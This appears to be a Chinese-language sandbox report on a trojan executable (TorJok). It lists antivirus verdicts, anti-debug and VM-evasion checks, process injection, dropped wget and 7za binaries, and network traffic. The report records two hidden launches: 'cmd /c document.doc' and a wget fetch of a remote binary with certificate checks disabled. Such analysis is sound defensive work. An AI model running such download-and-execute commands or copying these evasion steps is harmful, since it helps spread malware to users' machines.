7.6
高危
44 个模型检测该样本为恶意！
重新分析
更多

e7d2deba4fccbea79ffa209ebe0ce49f98aecfb340c8d6ec3ea1773cb12cb07e

b0bba84c50dc46946a130bdfdef2983b.exe

分析耗时

129s

最近分析

文件大小

694.6KB
静态报毒 动态报毒 A VARIANT OF GENERIK AI SCORE=99 ANDROM ARTEMIS ATTRIBUTE CLASSIC CONFIDENCE GENCIRC GENERICKD HIGHCONFIDENCE MALWARE@#2LMR8BAC5G94K NONYYIS SCORE SCRIPTRUNNER SFPJV SIGGEN5 TORJOK UNSAFE USXVPHH20 XCDB YMACCO 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba Trojan:Win32/TorJok.198aabc6 20190527 0.3.0.5
CrowdStrike win/malicious_confidence_60% (W) 20190702 1.0
Avast Other:Malware-gen [Trj] 20200921 18.4.3895.0
Baidu 20190318 1.0.0.2
Kingsoft 20200922 2013.8.14.323
McAfee Artemis!B0BBA84C50DC 20200921 6.0.6.653
Tencent Malware.Win32.Gencirc.10cdebd2 20200922 1.0.0.1
静态指标
Checks if process is being debugged by a debugger (2 个事件)
Time & API Arguments Status Return Repeated
1619861117.353829
IsDebuggerPresent
failed 0 0
1619876914.442375
IsDebuggerPresent
failed 0 0
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619861117.853829
GlobalMemoryStatusEx
success 1 0
The executable uses a known packer (1 个事件)
packer Armadillo v1.71
行为判定
动态指标
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features POST method with no referer header suspicious_request POST https://update.googleapis.com/service/update2?cup2key=10:2015567405&cup2hreq=74fbdd29fe309ef00e97c2d7b95e3ccf0802595ae4667cafe23e20135a81b5d4
Performs some HTTP requests (5 个事件)
request HEAD http://redirector.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe
request HEAD http://r1---sn-j5o76n7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.105&mm=28&mn=sn-j5o76n7e&ms=nvh&mt=1619848097&mv=m&mvi=1&pl=23&shardbypass=yes
request HEAD http://r4---sn-j5o76n7l.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m
request GET http://r4---sn-j5o76n7l.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m
request POST https://update.googleapis.com/service/update2?cup2key=10:2015567405&cup2hreq=74fbdd29fe309ef00e97c2d7b95e3ccf0802595ae4667cafe23e20135a81b5d4
Sends data using the HTTP POST Method (1 个事件)
request POST https://update.googleapis.com/service/update2?cup2key=10:2015567405&cup2hreq=74fbdd29fe309ef00e97c2d7b95e3ccf0802595ae4667cafe23e20135a81b5d4
Allocates read-write-execute memory (usually to unpack itself) (4 个事件)
Time & API Arguments Status Return Repeated
1619876914.442375
NtProtectVirtualMemory
process_identifier: 1060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75110000
success 0 0
1619876914.473375
NtProtectVirtualMemory
process_identifier: 1060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x755e1000
success 0 0
1619876914.504375
NtProtectVirtualMemory
process_identifier: 1060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x74f81000
success 0 0
1619876914.551375
NtProtectVirtualMemory
process_identifier: 1060
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75391000
success 0 0
Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 个事件)
Time & API Arguments Status Return Repeated
1619861117.868829
GetDiskFreeSpaceExW
root_path: C:\Users\Administrator.Oskar-PC\AppData\Roaming\Administrator
free_bytes_available: 19608920064
total_number_of_free_bytes: 0
total_number_of_bytes: 0
success 1 0
Creates (office) documents on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Administrator\document.doc
Creates executable files on the filesystem (2 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Administrator\wget.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Administrator\7za.exe
Creates a suspicious process (1 个事件)
cmdline "C:\Windows\System32\cmd.exe" /c document.doc
A process created a hidden window (2 个事件)
Time & API Arguments Status Return Repeated
1619861119.150829
ShellExecuteExW
parameters: /c document.doc
filepath: cmd
filepath_r: cmd
show_type: 0
success 1 0
1619861120.540829
ShellExecuteExW
parameters: --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe
filepath: wget
filepath_r: wget
show_type: 0
success 1 0
网络通信
Communicates with host for which no DNS query was performed (2 个事件)
host 172.217.24.14
host 203.208.41.65
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 192 resumed a thread in remote process 1060
Time & API Arguments Status Return Repeated
1619876913.628875
NtResumeThread
thread_handle: 0x00000250
suspend_count: 1
process_identifier: 1060
success 0 0
Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 个事件)
dead_host 172.217.160.110:443
File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 个事件)
DrWeb JS.Siggen5.40263
MicroWorld-eScan Trojan.GenericKD.34361196
CAT-QuickHeal Trojan.Torjok
ALYac Trojan.Torjok.gen
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
AegisLab Trojan.Win32.TorJok.4!c
Sangfor Malware
K7AntiVirus Riskware ( 0040eff71 )
Alibaba Trojan:Win32/TorJok.198aabc6
K7GW Riskware ( 0040eff71 )
CrowdStrike win/malicious_confidence_60% (W)
TrendMicro TrojanSpy.Win32.ANDROM.USXVPHH20
Cyren W32/Trojan.XCDB-6041
Symantec ML.Attribute.HighConfidence
APEX Malicious
Cynet Malicious (score: 85)
Kaspersky Trojan.Win32.TorJok.lt
BitDefender Trojan.GenericKD.34361196
Avast Other:Malware-gen [Trj]
Rising Trojan.ScriptRunner!1.CA86 (CLASSIC)
Ad-Aware Trojan.GenericKD.34361196
Sophos Mal/Generic-S
Comodo Malware@#2lmr8bac5g94k
F-Secure Trojan.TR/Torjok.sfpjv
Invincea Mal/Generic-S
FireEye Trojan.GenericKD.34361196
Emsisoft Trojan.GenericKD.34361196 (B)
GData Trojan.GenericKD.34361196
Avira TR/Torjok.sfpjv
MAX malware (ai score=99)
Arcabit Trojan.Generic.D20C4F6C
ZoneAlarm Trojan.Win32.TorJok.lt
Microsoft Trojan:Win32/Ymacco.AAE7
McAfee Artemis!B0BBA84C50DC
VBA32 Trojan.TorJok
ESET-NOD32 a variant of Generik.NONYYIS
TrendMicro-HouseCall TrojanSpy.Win32.ANDROM.USXVPHH20
Tencent Malware.Win32.Gencirc.10cdebd2
Ikarus Trojan.Script
Fortinet W32/TorJok.LT!tr
AVG Other:Malware-gen [Trj]
Panda Trj/CI.A
Qihoo-360 Win32/Trojan.815
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2012-12-31 08:38:32

Imports

Library COMCTL32.dll:
• 0x417010
Library SHELL32.dll:
• 0x417260 ShellExecuteW
• 0x417264 SHGetMalloc
• 0x41726c SHBrowseForFolderW
• 0x417270 SHGetFileInfoW
• 0x417274 ShellExecuteExW
Library GDI32.dll:
• 0x417018 CreateCompatibleDC
• 0x41701c CreateFontIndirectW
• 0x417020 DeleteObject
• 0x417024 DeleteDC
• 0x417028 GetCurrentObject
• 0x41702c StretchBlt
• 0x417030 GetDeviceCaps
• 0x417038 SelectObject
• 0x41703c SetStretchBltMode
• 0x417040 GetObjectW
Library ADVAPI32.dll:
• 0x417000 FreeSid
Library USER32.dll:
• 0x41727c GetWindowLongW
• 0x417280 GetMenu
• 0x417284 SetWindowPos
• 0x417288 GetWindowDC
• 0x41728c ReleaseDC
• 0x417290 GetDlgItem
• 0x417294 GetParent
• 0x417298 GetWindowRect
• 0x41729c GetClassNameA
• 0x4172a0 CreateWindowExW
• 0x4172a4 SetTimer
• 0x4172a8 GetMessageW
• 0x4172ac DispatchMessageW
• 0x4172b0 KillTimer
• 0x4172b4 DestroyWindow
• 0x4172b8 SendMessageW
• 0x4172bc EndDialog
• 0x4172c0 wsprintfW
• 0x4172c4 GetWindowTextW
• 0x4172cc GetSysColor
• 0x4172d0 wsprintfA
• 0x4172d4 SetWindowTextW
• 0x4172d8 MessageBoxA
• 0x4172dc ScreenToClient
• 0x4172e0 GetClientRect
• 0x4172e4 SetWindowLongW
• 0x4172e8 UnhookWindowsHookEx
• 0x4172ec SetFocus
• 0x4172f0 GetSystemMetrics
• 0x4172f8 ShowWindow
• 0x4172fc DrawTextW
• 0x417300 GetDC
• 0x417304 ClientToScreen
• 0x417308 GetWindow
• 0x417310 DrawIconEx
• 0x417314 CallWindowProcW
• 0x417318 DefWindowProcW
• 0x41731c CallNextHookEx
• 0x417320 PtInRect
• 0x417324 SetWindowsHookExW
• 0x417328 LoadImageW
• 0x41732c LoadIconW
• 0x417330 MessageBeep
• 0x417334 EnableWindow
• 0x417338 IsWindow
• 0x41733c EnableMenuItem
• 0x417340 GetSystemMenu
• 0x417344 CreateWindowExA
• 0x417348 wvsprintfW
• 0x41734c CharUpperW
• 0x417350 GetKeyState
• 0x417354 CopyImage
Library ole32.dll:
• 0x417360 CoCreateInstance
• 0x417364 CoInitialize
Library OLEAUT32.dll:
• 0x417248 VariantClear
• 0x41724c SysFreeString
• 0x417250 OleLoadPicture
• 0x417254 SysAllocString
Library KERNEL32.dll:
• 0x417048 GetFileSize
• 0x41704c SetFilePointer
• 0x417050 ReadFile
• 0x417058 GetModuleHandleA
• 0x41705c SetFileTime
• 0x417060 SetEndOfFile
• 0x417070 FormatMessageW
• 0x417074 lstrcpyW
• 0x417078 LocalFree
• 0x41707c IsBadReadPtr
• 0x417080 GetSystemDirectoryW
• 0x417084 GetCurrentThreadId
• 0x417088 SuspendThread
• 0x41708c TerminateThread
• 0x417094 ResetEvent
• 0x417098 SetEvent
• 0x41709c CreateEventW
• 0x4170a0 GetVersionExW
• 0x4170a4 GetModuleFileNameW
• 0x4170a8 GetCurrentProcess
• 0x4170b4 GetDriveTypeW
• 0x4170b8 CreateFileW
• 0x4170bc GetCommandLineW
• 0x4170c0 GetStartupInfoW
• 0x4170c4 CreateProcessW
• 0x4170c8 CreateJobObjectW
• 0x4170cc ResumeThread
• 0x4170e0 GetExitCodeProcess
• 0x4170e4 CloseHandle
• 0x4170ec GetTempPathW
• 0x4170f4 lstrlenW
• 0x4170f8 CompareFileTime
• 0x4170fc SetThreadLocale
• 0x417100 FindFirstFileW
• 0x417104 DeleteFileW
• 0x417108 FindNextFileW
• 0x41710c FindClose
• 0x417110 RemoveDirectoryW
• 0x417118 WideCharToMultiByte
• 0x41711c VirtualAlloc
• 0x417124 lstrcmpW
• 0x41712c lstrcmpiW
• 0x417130 lstrlenA
• 0x417134 GetLocaleInfoW
• 0x417138 MultiByteToWideChar
• 0x417148 lstrcmpiA
• 0x41714c GlobalAlloc
• 0x417150 GlobalFree
• 0x417154 MulDiv
• 0x417158 FindResourceExA
• 0x41715c SizeofResource
• 0x417160 LoadResource
• 0x417164 LockResource
• 0x417168 LoadLibraryA
• 0x41716c GetProcAddress
• 0x417170 GetModuleHandleW
• 0x417174 ExitProcess
• 0x417178 lstrcatW
• 0x41717c GetDiskFreeSpaceExW
• 0x417180 SetFileAttributesW
• 0x417184 SetLastError
• 0x417188 Sleep
• 0x41718c GetExitCodeThread
• 0x417190 WaitForSingleObject
• 0x417194 CreateThread
• 0x417198 GetLastError
• 0x4171a0 GetLocalTime
• 0x4171a4 GetFileAttributesW
• 0x4171a8 CreateDirectoryW
• 0x4171ac WriteFile
• 0x4171b0 GetStdHandle
• 0x4171b4 VirtualFree
• 0x4171b8 GetStartupInfoA
Library MSVCRT.dll:
• 0x4171c0 ??3@YAXPAX@Z
• 0x4171c4 ??2@YAPAXI@Z
• 0x4171c8 memcmp
• 0x4171cc free
• 0x4171d0 memcpy
• 0x4171d4 _wtol
• 0x4171d8 _controlfp
• 0x4171dc _except_handler3
• 0x4171e0 __set_app_type
• 0x4171e4 __p__fmode
• 0x4171e8 __p__commode
• 0x4171ec _adjust_fdiv
• 0x4171f0 __setusermatherr
• 0x4171f4 _initterm
• 0x4171f8 __getmainargs
• 0x4171fc _acmdln
• 0x417200 exit
• 0x417204 _XcptFilter
• 0x417208 _exit
• 0x417210 _onexit
• 0x417214 __dllonexit
• 0x417218 _CxxThrowException
• 0x41721c _beginthreadex
• 0x417220 _EH_prolog
• 0x417228 memset
• 0x41722c _wcsnicmp
• 0x417230 strncmp
• 0x417234 wcsncmp
• 0x417238 malloc
• 0x41723c memmove
• 0x417240 _purecall

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49192 113.108.239.130 r1---sn-j5o76n7e.gvt1.com 80
192.168.56.101 49190 203.208.41.33 redirector.gvt1.com 80
192.168.56.101 49188 203.208.41.98 update.googleapis.com 443
192.168.56.101 49193 58.63.233.69 r4---sn-j5o76n7l.gvt1.com 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 49713 114.114.114.114 53
192.168.56.101 50002 114.114.114.114 53
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 53237 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 57874 114.114.114.114 53
192.168.56.101 60384 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 51378 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 61680 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 62318 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900

HTTP & HTTPS Requests

URI Data
http://redirector.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: redirector.gvt1.com
http://r1---sn-j5o76n7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.105&mm=28&mn=sn-j5o76n7e&ms=nvh&mt=1619848097&mv=m&mvi=1&pl=23&shardbypass=yes 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?cms_redirect=yes&mh=ms&mip=202.100.214.105&mm=28&mn=sn-j5o76n7e&ms=nvh&mt=1619848097&mv=m&mvi=1&pl=23&shardbypass=yes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r1---sn-j5o76n7e.gvt1.com
http://r4---sn-j5o76n7l.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r4---sn-j5o76n7l.gvt1.com
http://r4---sn-j5o76n7l.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m 
GET /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&mvi=4&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5oe7e&req_id=1b965d511dbcaa68&cms_redirect=yes&ipbypass=yes&mip=59.50.85.28&mm=28&mn=sn-j5o76n7l&ms=nvh&mt=1619847376&mv=m HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Tue, 13 Apr 2021 03:03:58 GMT
Range: bytes=0-6779
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r4---sn-j5o76n7l.gvt1.com

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.